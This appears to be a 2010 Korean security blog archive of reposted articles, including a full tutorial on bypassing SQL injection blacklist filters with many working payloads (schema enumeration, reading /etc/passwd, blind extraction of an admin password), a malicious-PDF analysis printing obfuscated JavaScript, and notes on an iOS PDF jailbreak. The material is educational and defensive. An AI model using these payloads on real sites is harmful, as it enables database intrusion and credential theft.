반응형
http://webcache.googleusercontent.com/search?q=cache:1xPyu64K0vIJ:www.cyrket.com/search%3Fmarket%3Dandroid%26account%3Djackeey%252Cwallpaper+Jackeey+Wallpaper+download&cd=48&hl=ko&ct=clnk&gl=kr

상단 링크에 접속하시면 월페이퍼들이 나오나.. 현재 링크가 다 짤려있다.
이 제작자 말고도 2명의 제작자가 만든 월페이퍼가 피싱툴이라고 하니
주의하길 바랍니다.
반응형
반응형
해당 링크에서 퍼옴..
자료 보관용
http://digdog.tumblr.com/post/894317027/jailbreak-with-pdf-flatedecode-filter


Update

According to @chpwd, @comex uses CFF font stack overflow to jailbreak. (font file placed in FlateDecode stream)

If you look at the jailbreakme.com closely, it loads corresponding PDF file as image in javascript (through new Image()) to jailbreak the iOS devices.

Open the PDF file in the hex editor, you can easily find out what kind of PDF vulnerability they are using:

The jailbreak stuff saved as FlateDecode stream within that PDF file, and vulnerability occurs when Mobile Safari loaded the PDF file, letting iOS to parse the FlateDecode filter, and use the font file inside, then Kaboom.

What is FlateDecode?

According to the specification, PDF can embed raster images. They are represented by a dictionary that described the properties of the image, with an associated stream that contains image data. And those embedded images are filtered with different kinds of filters that supported in PDF, such as DCTDecode (lossy image-specific filter based on JPEG), ASCIIHexDecode (general purpose filter for ASCII stream), FlateDecode and many others.

The FlateDecode filter is a lostless general purpose filter for data compressed with zlib deflate function. You can compressed plaintext or any kinds of data with zlib and put it into FlateDecode section.

In today’s case, they put jailbreak stuff. If you decoded their FlateDecode steam, it looks like this:

If you wan to try it yourself, you can decompress the FlateDecode stream with ghostscript:

% gs — toolbin/pdfinflt.ps iPhone1,x_3.1.3.pdf output.txt

How the Vulnerability Works?

According to “Adobe Reader and Acrobat FlateDecode Integer Overflow Vulnerability”:

The vulnerability occurs when parsing a FlateDecode filter inside a PDF file. FlateDecode is a filter for data compressed with zlib deflate compression method. Several parameters can be specified for the FlateDecode filter. Those values are used in an arithmetic operation that calculates the number of bytes to allocate for a heap buffer. This calculation can overflow, which results in an undersized heap buffer being allocated. This buffer is then overflowed with data decompressed from the FlateDecode stream. This leads to a heap-based buffer overflow that can result in arbitrary code execution.

It’s a heap overflow. I don’t know if Apple fixed this on iOS or not, but it definitely looks like the cause.

Apparently my guess was totally wrong, it’s even deeper. Turns out it’s the font file embedded in FlateDecode stream that causes the stack overflow.

References

반응형
반응형
자료용으로 퍼온겁니다..
출처는 jumpzero님의 블로그..
http://jz.pe.kr/60
입니다.




gdbserver와 ida를 이용하면 elf binary를 ida로 디버깅할 수 있습니다.

편하겠죠.

gdbserver host:port file

ubuntu rocks!


port 5555로 해봤습니다. 서버 세팅 됐고 이제 ida로 접속해보죠.


windows에도 ls를 복사해놓았습니다. 사실 binary는 둘중 하나에만 있어도 되긴 하지만...



debugger 설정하고




그다음엔 process options



gdbserver machine의 ip address, port를 설정해줍니다.


그리고 실행하면...




file이 gdbserver, ida 양 쪽 다에 있어서 물어보는 겁니다. 


process started.



debugging이 되고 있습니다.



server showing message



반응형
반응형
나우콤..은 인터넷사업부과 보안사업부가 나뉘어있는 구조로 되어있다..
(일단 참고..)


어느날.. 출근해서 메일을 살펴보는 중.. 아래와 같은 긔엽긔놈이 보낸듯한 메일이 날 자극했다.

받는 사람 주소 목록은 우리회사의 메일들로 가득차있었고.. 웃기게도 메일앞에 cert라고 써있는데도 우리팀 메일로 굳이 보내주셨다. 그 외에 아프리카 메일계정이랑.. 몇몇 회사 계정들로 가득차있었다. (nowcom 회사 계정으로만 받는 사람이 되어있었음)

긔엽긔놈.. 보안회사 테스트하냐..?!
=_=;

그래도 나름 생각을 잘했는지.. 캡쳐사진을 보낸다고 했는데..
진짜로 압축을 푸니까 그림 아이콘으로 되어있는 파일이 나왔다!!
하지만 실제로는 PE구조로 이루어진 실행파일!!

내부에 그림파일이랑 또 다른 드롭퍼를 가지고 있는 놈이였고..
그 드롭퍼도 또 드롭퍼고..
에이.. 귀찮게 자꾸 왜 이러는거야!! 라고 말해주고 싶어졌다 =_=;

우리!!
양심적으로~
보안회사 테스트 하려고 하고 이런거..

기리지마요~  =ㅁ=;;


반응형

'작업공간 > 기본적인 삽질 & 기록' 카테고리의 다른 글

JailBreakMe with PDF FlateDecode filter  (0) 2010.08.03
[펌]IDA + gdb with gdbserver  (2) 2010.07.09
Exploiting hard filtered SQL Injections  (5) 2010.05.30
iPhone encryption? Not really  (0) 2010.05.30
KT 플라자  (0) 2010.05.30
반응형

http://ollydbg.de

드디어 정식 릴리즈 된 OllyDBG..
내가 가장 좋아라 하는 디버거..
하지만.. 2.0으로 갈수가 없는거..................
플러그인 지원은 언제 되는걸까..

반응형

'작업공간 > Tool' 카테고리의 다른 글

6 Hex Editors for Malware Analysis  (0) 2010.10.13
MDecoder  (0) 2010.10.13
[Tool] Detectez les attaques Man in the Middle !  (0) 2010.03.08
Malware - ZEUS BotNet  (0) 2010.03.07
Super Phisher  (0) 2010.03.02
반응형
웹해킹을 공부해야되는데..

웹쪽은 관심이 없어서 거의 안봤는데..

요즘.. 제 한계(?)를 느끼고 이럴 바에는 폭넓게 가는게 맞다는 생각하에..

다분야로 보려고 웹쪽은 다시 공부하고 있습니다..

아.. 정말 웹은 힘듭니다 ^^;;



Exploiting hard filtered SQL Injections

While participating at some CTF challenges like Codegate10 or OWASPEU10 recently I noticed that it is extremely trendy to build SQL injection challenges with very tough filters which can be circumvented based on the flexible MySQL syntax. In this post I will show some example filters and how to exploit them which may also be interesting when exploiting real life SQL injections which seem unexploitable at first glance.

For the following examples I’ll use this basic vulnerable PHP script:

01 <?php
02 // DB connection
03  
04 $id = $_GET['id'];
05 $pass = mysql_real_escape_string($_GET['pass']);
06  
07 $result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' ");
08  
09 if($data = @mysql_fetch_array($result))
10     echo "Welcome ${data['name']}";
11 ?>

Note: the webapplication displays only the name of the first row of the sql resultset.

Warmup

Lets warm up. As you can see the parameter “id” is vulnerable to SQL Injection. The first thing you might want to do is to confirm the existence of a SQLi vulnerability:

1 ?id=1 and 1=0-- -
1 ?id=1 and 1=1-- -

You also might want to see all usernames by iterating through limit (x):

1 ?id=1 or 1=1 LIMIT x,1-- -

But usernames are mostly not as interesting as passwords and we assume that there is nothing interesting in each internal user area.

So you would like to know what the table and column names are and you try the following:

1 ?id=1 and 1=0 union select null,table_name,null from information_schema.tables limit 28,1-- -
1 ?id=1 and 1=0 union select null,column_name,null from information_schema.columns where table_name='foundtablename' LIMIT 0,1-- -

After you have found interesting tables and its column names you can start to extract data.

1 ?id=1 and 1=0 union select null,password,null from users limit 1,1-- -

Ok thats enough for warming up.

Whitespaces, quotes and slashes filtered

Of course things aren’t that easy most time. Now consider the following filter for some extra characters:

1 if(preg_match('/\s/', $id))
2     exit('attack'); // no whitespaces
3 if(preg_match('/[\'"]/', $id))
4     exit('attack'); // no quotes
5 if(preg_match('/[\/\\\\]/', $id))
6     exit('attack'); // no slashes

As you can see above our injections have a lot of spaces and some quotes. The first idea would be to replace the spaces by /*comments*/ but slashes are filtered. Alternative whitespaces are all catched by the whitespace filter. But luckily because of the flexible MySQL syntax we can avoid all whitespaces by using parenthesis to seperate SQL keywords (old but not seen very often).

1 ?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit 28,1-- -)

Looks good, but still has some spaces at the end. So we also use group_concat() because LIMIT requires a space and therefore can’t be used anymore. Since all table names in one string can be very long, we can use substr() or mid() to limit the size of the returning string. As SQL comment we simply take “#” (not urlencoded for better readability).

1 ?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables))#

Instead of a quoted string we can use the SQL hex representation of the found table name:

1 ?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))#

Nice.

Basic keywords filtered

Now consider the filter additionally checks for the keywords “and”, “null”, “where” and “limit”:

1 if(preg_match('/\s/', $id))
2     exit('attack'); // no whitespaces
3 if(preg_match('/[\'"]/', $id))
4     exit('attack'); // no quotes
5 if(preg_match('/[\/\\\\]/', $id))
6     exit('attack'); // no slashes
7 if(preg_match('/(and|null|where|limit)/i', $id))
8     exit('attack'); // no sqli keywords

For some keywords this is still not a big problem. Something most of you would do from the beginning anyway is to confirm the SQLi with the following injections leading to the same result:

1 ?id=1#
1 ?id=2-1#

To negotiate the previous resultset you can also use a non-existent id like 0. Instead of the place holder “null” we can select anything else of course because it is only a place holder for the correct column amount. So without the WHERE we have:

1 ?id=(0)union(select(0),group_concat(table_name),(0)from(information_schema.tables))#
1 ?id=(0)union(select(0),group_concat(column_name),(0)from(information_schema.columns))#

This should give us all table and column names. But the output string from group_concat() gets very long for all available table and column names (including the columns of the mysql system tables) and the length returned by group_concat() is limited to 1024 by default. While the length may fit for all table names (total system table names length is about 900), it definitely does not fit for all available column names because all system column names concatenated already take more than 6000 chars.

WHERE alternative

The first idea would be to use ORDER BY column_name DESC to get the user tables first but that doesn’t work because ORDER BY needs a space. Another keyword we have left is HAVING.
First we have a look which databases are available:

1 ?id=(0)union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))#

This will definitely fit into 1024 chars, but you can also use database() to get the current database name:

1 ?id=(0)union(select(0),database(),(0))#

Lets assume your database name is “test” which hex representation is “0×74657374″. Then we can use HAVING to get all table names associated with the database “test” without using WHERE:

1 ?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))#

Note that you have to select the column “table_schema” in one of the place holders to use this column in HAVING. Since we assume that the webapp is designed to return only the first row of the result set, this will give us the first table name. The second table name can be retrieved by simply excluding the first found table name from the result:

1 ?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))#

We use && as alternative for the filtered keyword AND (no urlencoding for better readability). Keep excluding table names until you have them all. Then you can go on with exactly the same technique to get all column names:

1 ?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))#
1 ?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))#

Unfortunately you can’t use group_concat() while using HAVING hence the excluding step by step.

intermediate result

What do we need for our injections so far?
keywords: “union”, “select”, “from”,”having”
characters: (),._# (& or “and”)
String comparing characters like “=” and “!=” can be avoided by using the keywords “like” and “rlike” or the function strcmp() together with the keyword “not”:

1 ?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)and(NOT((column_name)like(0x6964)))))#

advanced keyword filtering

Now its getting difficult. The filter also checks for all keywords previously needed:

01 if(preg_match('/\s/', $id))
02     exit('attack'); // no whitespaces
03 if(preg_match('/[\'"]/', $id))
04     exit('attack'); // no quotes
05 if(preg_match('/[\/\\\\]/', $id))
06     exit('attack'); // no slashes
07 if(preg_match('/(and|or|null|where|limit)/i', $id))
08     exit('attack'); // no sqli keywords
09 if(preg_match('/(union|select|from|having)/i', $id))
10     exit('attack'); // no sqli keywords

What option do we have left?

If we have the FILE privilege we can use load_file() (btw you can’t use into outfile without quotes and spaces). But we can’t output the result of load_file() because we can not use union select so we need another way to read the string returned by the load_file().
First we want to check if the file can be read. load_file() returns “null” if the file could not be read, but since the keyword “null” is filtered we cant compare to “null” or use functions like isnull(). A simple solution is to use coalesce() which returns the first not-null value in the list:

1 ?id=(coalesce(length(load_file(0x2F6574632F706173737764)),1))

This will return the length of the file content or – if the file could not be read – a “1″ and therefore the success can be seen by the userdata selected in the original query. Now we can use the CASE operator to read the file content blindly char by char:

1 ?id=(case(mid(load_file(0x2F6574632F706173737764),$x,1))when($char)then(1)else(0)end)

(while $char is the character in sql hex which is compared to the current character of the file at offset $x)

We bypassed the filter but it requires the FILE privilege.

filtering everything

Ok now we expand the filter again and it will check for file operations too (or just assume you don’t have the FILE privilege). We also filter SQL comments. So lets assume the following (rearranged) filter:

01 if(preg_match('/\s/', $id))
02     exit('attack'); // no whitespaces
03 if(preg_match('/[\'"]/', $id))
04     exit('attack'); // no quotes
05 if(preg_match('/[\/\\\\]/', $id))
06     exit('attack'); // no slashes
07 if(preg_match('/(and|or|null|not)/i', $id))
08     exit('attack'); // no sqli boolean keywords
09 if(preg_match('/(union|select|from|where)/i', $id))
10     exit('attack'); // no sqli select keywords
11 if(preg_match('/(group|order|having|limit)/i', $id))
12     exit('attack'); //  no sqli select keywords
13 if(preg_match('/(into|file|case)/i', $id))
14     exit('attack'); // no sqli operators
15 if(preg_match('/(--|#|\/\*)/', $id))
16     exit('attack'); // no sqli comments

The SQL injection is still there but it may look unexploitable. Take a breath and have a look at the filter. Do we have anything left?

We cant use procedure analyse() because it needs a space and we cant use the ’1′%’0′ trick. Basically we only have special characters left, but that is often all we need.

We need to keep in mind that we are already in a SELECT statement and we can add some conditions to the existing WHERE clause. The only problem with that is that we can only access columns that are already selected and that we do have to know their names. In our login example they shouldn’t be hard to guess though. Often they are named the same as the parameter names (as in our example) and in most cases the password column is one of {password, passwd, pass, pw, userpass}.
So how do we access them blindly? A usual blind SQLi would look like the following:

1 ?id=(case when(mid(pass,1,1)='a') then 1 else 0 end)

This will return 1 to the id if the first char of the password is ‘a’. Otherwise it will return a 0 to the WHERE clause. This works without another SELECT because we dont need to access a different table. Now the trick is to express this filtered CASE operation with only boolean operators. While AND and OR is filtered, we can use the characters && and || to check, if the first character of the pass is ‘a’:

1 ?id=1&&mid(pass,1,1)=(0x61);%00

We use a nullbyte instead of a filtered comment to ignore the check for the right password in the original sql query. Make sure you prepend a semicolon. Nice, we can now iterate through the password chars and extract them one by one by comparing them to its hex representation. If it matches, it will show the username for id=1 and if not the whole WHERE becomes untrue and nothing is displayed. Also we can iterate to every password of each user by simply iterating through all ids:

1 ?id=2&&mid(pass,1,1)=(0x61);%00
1 ?id=3&&mid(pass,1,1)=(0x61);%00

Of course this takes some time and mostly you are only interested in one specific password, for example of the user “admin” but you dont know his id. Basically we want something like:

1 ?id=(SELECT id FROM users WHERE name = 'admin') && mid(pass,1,1)=('a');%00

The first attempt could be:

1 ?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00

That does not work because the “OR 1=1″ at the beginning is stronger than the “AND”s so that we will always see the name of the first entry in the table (it gets more clearly wenn you write the “OR 1=1″ at the end of the injection). So what we do is we compare the column id to the column id itself to make our check for the name and password independent of all id’s:

1 ?id=id&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00

If the character of the password is guessed correctly we will see “Hello admin” – otherwise there is displayed nothing. With this we have successfully bypassed the tough filter.

filtering everything and even more

What else can we filter to make it more challenging? Sure, some characters like “=”, “|” and “&”.

01 if(preg_match('/\s/', $id))
02     exit('attack'); // no whitespaces
03 if(preg_match('/[\'"]/', $id))
04     exit('attack'); // no quotes
05 if(preg_match('/[\/\\\\]/', $id))
06     exit('attack'); // no slashes
07 if(preg_match('/(and|or|null|not)/i', $id))
08     exit('attack'); // no sqli boolean keywords
09 if(preg_match('/(union|select|from|where)/i', $id))
10     exit('attack'); // no sqli select keywords
11 if(preg_match('/(group|order|having|limit)/i', $id))
12     exit('attack'); //  no sqli select keywords
13 if(preg_match('/(into|file|case)/i', $id))
14     exit('attack'); // no sqli operators
15 if(preg_match('/(--|#|\/\*)/', $id))
16     exit('attack'); // no sqli comments
17 if(preg_match('/(=|&|\|)/', $id))
18     exit('attack'); // no boolean operators

Lets see. The character “=” shouldn’t be problematic as already mentioned above, we simply use “like” or “regexp” etc.:

1 ?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);%00

The character “|” isn’t even needed. But what about the “&”? Can we check for the name=’admin’ and for the password characters without using logical operators?

After exploring all sorts of functions and comparison operators I finally found the simple function if(). It basically works like the CASE structure but is a lot shorter and ideal for SQL obfuscation / filter evasion. The first attempt is to jump to the id which correspondents to the name = ‘admin’:

1 ?id=if((name)like(0x61646D696E),1,0);%00

This will return 1, if the username is admin and 0 otherwise. Now that we actually want to work with the admin’s id we return his id instead of 1:

1 ?id=if((name)like(0x61646D696E),id,0);%00

Now the tricky part is to not use AND or && but to also check for the password chars. So what we do is we nest the if clauses. Here is the commented injection:

1 ?id=
2 if(
3   // if (it gets true if the name='admin')
4     if((name)like(0x61646D696E),1,0),
5   // then (if first password char='a' return admin id, else 0)
6     if(mid((password),1,1)like(0x61),id,0),
7   // else (return 0)
8     0
9 );%00

Injection in one line:

1 ?id=if(if((name)like(0x61646D696E),1,0),if(mid((password),1,1)like(0x61),id,0),0);%00

Again you will see “Hello admin” if the password character was guessed correctly and otherwise you’ll see nothing (id=0). Sweet!

Conclusion

(My)SQL isn’t as flexible as Javascript, thats for sure. The main difference is that you can’t obfuscate keywords because there is nothing like eval() (as long as you don’t inject into stored procedures). But as shown in this article there isn’t much more needed than some characters (mainly parenthesis and commas) to not only get a working injection but also to extract data or read files. Various techniques also have shown that detecting and blocking SQL injections based on keywords is not reliable and that exploiting those is just a matter of time.

If you have any other clever ways for bypassing the filters described above please leave a comment. What about additionally filtering “if” too ?

Edit:
Because there has been some confusion: you should NOT use the last filter for securing your webapp. This post shows why it is bad to rely on a blacklist. To secure your webapp properly, typecast expected integer values and escape expected strings with mysql_real_escape_string(), but don’t forget to embed the result in quotes in your SQL query.

Here is a safe patch for the example:

1 $id = (int) $_GET['id'];
2 $pass = mysql_real_escape_string($_GET['pass']);
3 $result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' ");

For more details have a look at the comments.


반응형
반응형
소포스는 항상 재미 있는 이야기를 많이 한답니다 ^^

이것도 그 중 일부죠..

이 내용도 역시 탭정리하면서 블로그에 기록합니다...

iPhone encryption? Not really



iPhone 3GS data folder

Sean Richmond from our Sydney, Australia office sent me a note yesterday asking if I had been following a thread on the Full Disclosure mailing list.

The author of the message noted that when he plugged in his iPhone 3GS to a Ubuntu 10.4 (Lucid Lynx) workstation he was able to access some of the data without authenticating to the phone or OS.

I must admit my focus on Apple security waxes and wanes, so I did some research into the topic. I booted the live CD version of the latest Ubuntu on my test workstation and performed the steps described in the post. I got an identical result which I have to admit was a great surprise.

Not that I don't trust Apple, but they have been talking about how the iPhone is enterprise ready and secure ever since the launch of the 3GS.

On initial examination all that is required to access the "user content" areas of a fully encrypted iPhone is Ubuntu. No passcode required. Since we do encryption here at Sophos I was a bit startled by this as any proper encryption should have the keys protected by some sort of passphrase that is required in order to access the protected volume.

iPhone 3GS Photos

Many have pointed out that the most sensitive information is still unavailable like SMS history, email, address books, etc. After seeing the phone boot without the passcode though, I thought there may be more of a story to this.

If you use full disk encryption on your computer you will notice that it cannot boot until you have provided the passphrase.This is because the key that encrypts the volume is protected by your passphrase. If you turn on an iPhone it boots all the way up and allows access from USB.

If the device boots, it must be able to access the encryption key without a passphrase. In turn this means it is as good as unencrypted as soon as it is turned on.

I started digging some more and noticed some research done by Jonathan Zdziarski in July 2009. Jonathan shows how you can boot an altered kernel from RAM disk and gain access to the device.

He also has another video where he recovers all the data from a protected iPhone, all without altering the device in any way. He can recover all of your "keystrokes", email, phone calls, voicemails, deleted messages and voicemail. Everything on the device is available without the passphrase.

Encryption is not difficult to do, but the way you choose to implement it is. As demonstrated by Apple's implementation, a state of the art AES-256 encrypted device has no protection if keys are not handled appropriately.

At Sophos we strive to provide excellent security in the simplest manner possible. Like Apple we know users care about their security, but do not want it to get in the way. To implement security simply, but effectively is very difficult. Unfortunately for businesses or consumers who think their iPhones are secure, they are incorrect.

The good news is that it would appear Apple is taking more of a FileVault encryption approach for sensitive data in their new iPhone v4 software. On Apple's site for "iPhone in Business", they now have a statement implying they have changed their implementation to be more secure:

Data Protection
Security enhancements in iPhone OS 4 protect email messages and attachments stored on iPhone 3GS by using the device passcode as an encryption key. New data protection APIs can be used for custom and commercial apps so that business-critical information is protected even if a device is compromised.

It's good to see Apple taking this problem on, and providing APIs for third party developers to secure their stored data as well. In the mean time if you have a 3GS or use an iPhone that contains sensitive information, be sure to not let it out of your sight.





반응형
반응형
guidePop_plaza_top.jpg
서울 강남 서울시 강남구 역삼동824-21 상경빌딩 1층
강동 서울시 송파구 방이동 65번지 태원빌딩4층
강서 서울시 영등포구 당산동4가 93-1동양타워 1층
동부 서울시 동대문구 용두동 40-11 동양프라자빌딩 2층
서부 서울시 마포구 동교동 162-4번지남강빌딩 7층
북부 서울시 도봉구 창4동 9-2번지정일프라자 2층
중앙 서울시 서대문구 충정로3가 464번지충정타워 2층
강변 서울시 광진구 구의동 546-4번지테크노마트 사무동 4층 3호
용산 서울시 용산구 한강로 3가 1-1전자월드빌딩 4층 31호
신도림 서울시 구로구 구로동 3-25 신도림 테크노마트 8F
경기도 부평 인천시 부평구 부평동 199-36번지 우리은행 7층
성남 경기도 성남시 수정구 신흥1동6910번지 성남파이낸스빌딩 2층
수원 경기도 수원시 팔달구 인계동1122-12 경기도새마을회관 1층 
안양 경기도 안양시 만안구 안양8동548-1번지 계양빌딩 2층
인천 인천시 남동구 구월동 1128-10번지현대해상빌딩 1층
일산 경기도 고양시 일산구 백석동1294-3 재능교육빌딩 6층 601호
강원도 원주 강원도 원주시 학상동 213-11 KTF사옥 1층 
강릉 강원도 강릉시 포남동 1117-13번지한국레저타운 5층
경남 부산역 부산시 동구 초량3동 1199-9번지교원아카데미빌딩 2층
동래 부산시 동래구 명륜동 510-6대한생명빌딩 1층
마산 마산시 회원구 석전동 244-9번지하나로통신빌딩 2층
울산 울산시 남구 달동 1365-7번지대우증권빌딩 4층
진주 경남 진주시 칠암동 490-8.엠코아빌딩 5층 502호 
덕천 부산시 북구 덕천동 382-8번지삼원빌딩 2층
대구 동대구 대구 동구 효목2동 286-9 KTF빌딩 1층
서대구 대구시 달서구 두류동 135-13현대해상빌딩 5층
포항 경북 포항시 북구 죽도동 51-7번지대아빌딩 11층
구미 경북 구미시 원평동 964-242번지C&S빌딩 2층
안동 경북 안동시 화성동 122-5번지권택근성형외과 1층
광주 충장로 광주시 동구 황금동 5-8 1층SHOW
서광주 광주시 서구 농성1동 417-40대한교원공제회관2층 
전주 전북 전주시 완산구 서신동 766번지KT 전북본부 1층
대전 동대전 대전광역시 동구 용전동 25-7번지 성산빌딩 1층
대전중앙 대전시 중구 은행동 139-1번지한솔그린타워빌딩 7층
서대전 대전시 서구 둔산동 929번지사학연금회관 10층
천안 충남 천안시 북구 쌍용동 390번지동방빌딩 3층
청주 청주시상당구 용암동 1695번지 청주타워 1층 (불교방송국)
제주도 제주 제주시 이도2동 1034-4번지 성우빌딩 1층


KT 플라자.. 토요일엔 대부분 쉰다네요..
토요일날 여는 곳이 어디지.. ㅠㅠ



반응형

'작업공간 > 기본적인 삽질 & 기록' 카테고리의 다른 글

Exploiting hard filtered SQL Injections  (5) 2010.05.30
iPhone encryption? Not really  (0) 2010.05.30
Static analysis of malicous PDFs (Part #2)  (0) 2010.05.30
The Tools  (0) 2010.05.30
[퍼옴] 아이폰 디버기  (0) 2010.05.26
반응형
PDF 분석..
이것도 탭정리하면서 링크 걸어놓는 것..


Static analysis of malicous PDFs (Part #2)
Share |
Published: 2010-01-07,
Last Updated: 2010-01-07 13:38:01 UTC
by Daniel Wesemann (Version: 1)
3 comment(s)

This sample came to us from ISC reader Joe, who reported that his Acrobat reader had crashed with the error message "A 3D parsing error has occurred". The obfuscation approach used by this sample isn't brand new, this type has been around since about mid December as far as we know. No matter, this ISC diary is not about breaking news, more about analysis technique.

$ md5sum bad.pdf
0045c97c4e9e44cac68bd85e197bfae2 bad.pdf
$ ls -al bad.pdf
-rw-r----- 1 daniel handlers 37275 2010-01-06 04:04 bad.pdf

This sample currently still stumps automated analysis tools like the usually excellent Wepawet, but this PDF is indeed malicious. Lets take a look, using Didier Stevens' pdf-parser.py as before.

$pdf-parser.py -a bad.pdf
Comment: 3
XREF: 1
Trailer: 1
StartXref: 1
Indirect object: 10
3: 7, 8, 10
/Action 1: 6
/Annot 2: 5, 9
/Catalog 1: 1
/Outlines 1: 2
/Page 1: 4
/Pages 1: 3

This document defines an "action" which triggers when the document is opened. The corresponding code is in Section 6 of this PDF. Looking at this section, we see that this is indeed a JavaScript block, but the actual code resides in section 7

$ pdf-parser.py -o 6 -f bad.pdf
obj 6 0
Type: /Action
Referencing: 7 0 R
[(2, '<<'), (2, '/Type'), (2, '/Action'), (2, '/S'), (2, '/JavaScript'), [...]

<<
/Type /Action
/S /JavaScript
/JS 7 0 R
>>


Continuing the quest, let's look at section 7:

$ pdf-parser.py -o 7 -f bad.pdf
obj 7 0
Type:
Referencing:
Contains stream
[(2, '<<'), (2, '/Length'), (1, ' '), (3, '231'), (2, '/Filter'), (2, '/FlateDecode'), (2, '>>'), (1, 'rn')]

<<
/Length 231
/Filter /FlateDecode
>>

"var z; var y; n var h = 'edvoazcl'; nt z = y = app[h.replace(/[aviezjl]/g, '')]; nt var tmp = 'syncAEEotScan'; y = 0; t z[tmp.replace(/E/g, 'n')](); y = z; var p = y.getAnnots ( { nPage: 0 }) ; var s = p[0]; s = s['sub' + 'ject']; var l = s.replace(/[zhyg]/g, '%') ; s = unescape ( l )
;app[h.replace(/[czomdqs]/g, '')]( s);n s = ''; z = 1;"


That's more like it! Here we actually get JavaScript code ... and this code is probably the reason why some of the automated analyzers fail: This isn't simple JavaScript, it makes use of Adobe Acrobat specific JavaScript objects and methods to refer to the currently loaded document (app.doc), to identify any "annotations" within this document (syncAnnotScan), to access the first annotation (getAnnots), to assign it to a variable, and finally to eval (run) the code within this variable.  

When we ran pdf-parser.py -a above, it showed "/Annot 2: 5, 9", indicating two annotation sections, 5 and 9. This script accesses the first annotation, thus section 5. Looking into section 5, we see that it simply refers to section 8 .. and there, finally, we find the code block

$pdf-parser.py -o 8 -f bad.pdf

obj 8 0
Type:
Referencing:
Contains stream
[(2, '<<'), (2, '/Length'), (1, ' '), (3, '8583'), (2, '/Filter'), (2, '/FlateDecode'), (2, '>>'), (1, 'rn')]

<<
/Length 8583
/Filter /FlateDecode
>>

'y0dy0ay0dy0ay09y66y75y6ey63y74y69y6fy6ey20y64y64y6cy50y54y63y71y63y30y5fy43y67y28y76
y34y32y73y5fy36y34y2cy20y56y5fy5fy4ay53y33y32y29y7by76y61y72y20y71y41y69y5fy45y44y20y3
dy20y61y72y67y75y6dy65y6ey74y73y2ey63y61y6cy6cy65y65y3by76y61y72y20y54y38y5fy32y72y5
[...etc...]


Two more stages of decoding await the analyst here. First, we have to untangle the above (substitute y with %, then unescape). The resulting JavaScript code is still obfuscated:

function ddlPTcqc0_Cg(v42s_64, V__JS32){var qAi_ED = arguments.callee;var T8_2r_twoNOkI = 0;var
Fyaf2_8v_c7i = 512;qAi_ED = qAi_ED.toString();try {if (app){T8_2r_twoNOkI = 3;T8_2r_twoNOkI--;}}
catch(e) { }var ad_____M = new Array();if (v42s_64) { ad_____M = v42s_64;} else {var jVhSGHs = 0;
[...etc...]

Note how it makes use of "arguments.callee", an anti-debugging technique that we covered before. Also note how the code is again dependent on the presence of the "app" object... which is Adobe specific, and won't exist in Spidermonkey. But all you have to do to get past this stage in SpiderMonkey is to first define the app variable (set it to anything you like, app=1 works fine), and then to use your normal trick to get past the "arguments.callee" trap. I still like to use the copy of SpiderMonkey that I patched to print on every eval call.
 

Phew! Yes indeed. Considering the complexity of all this, it is probably no surprise that we are seeing such an increase of malware wrapped into PDFs ... and also no surprise that Anti-Virus tools are doing such a shoddy job at detecting these PDFs as malicious: It is darn hard. For now, AV tools tend to focus more on the outcome and try to catch the EXEs written to disk once the PDF exploit was successful. But given that more and more users no longer reboot their PC, and just basically put it into sleep mode between uses, the bad guys do not really need to strive for a persistent (on-disk) infection anymore. In-memory infection is perfectly "good enough" -  the average user certainly won't reboot his PC between leisure surfing and online banking sessions. Anti-Virus tools that miss the exploit but are hopeful to catch the EXE written to disk won't do much good anymore in the near future.
 

 

반응형

'작업공간 > 기본적인 삽질 & 기록' 카테고리의 다른 글

iPhone encryption? Not really  (0) 2010.05.30
KT 플라자  (0) 2010.05.30
The Tools  (0) 2010.05.30
[퍼옴] 아이폰 디버기  (0) 2010.05.26
강원도 춘천 닭갈비집 - 통나무집  (0) 2010.05.24
반응형
http://www.mysectools.com/MySecTools/The_Tools/Entries/2010/3/30_Malware_Analysis_Tools.html

어디에서 보고 퍼온 링크인지는 잘 기억이 나지 않는데..
firefox 탭 정리하면서 기록해 놓습니다....

해당 링크에는 IT 중 분석에 필요한 툴들을 모아놓은 사이트 입니다.
반응형

+ Recent posts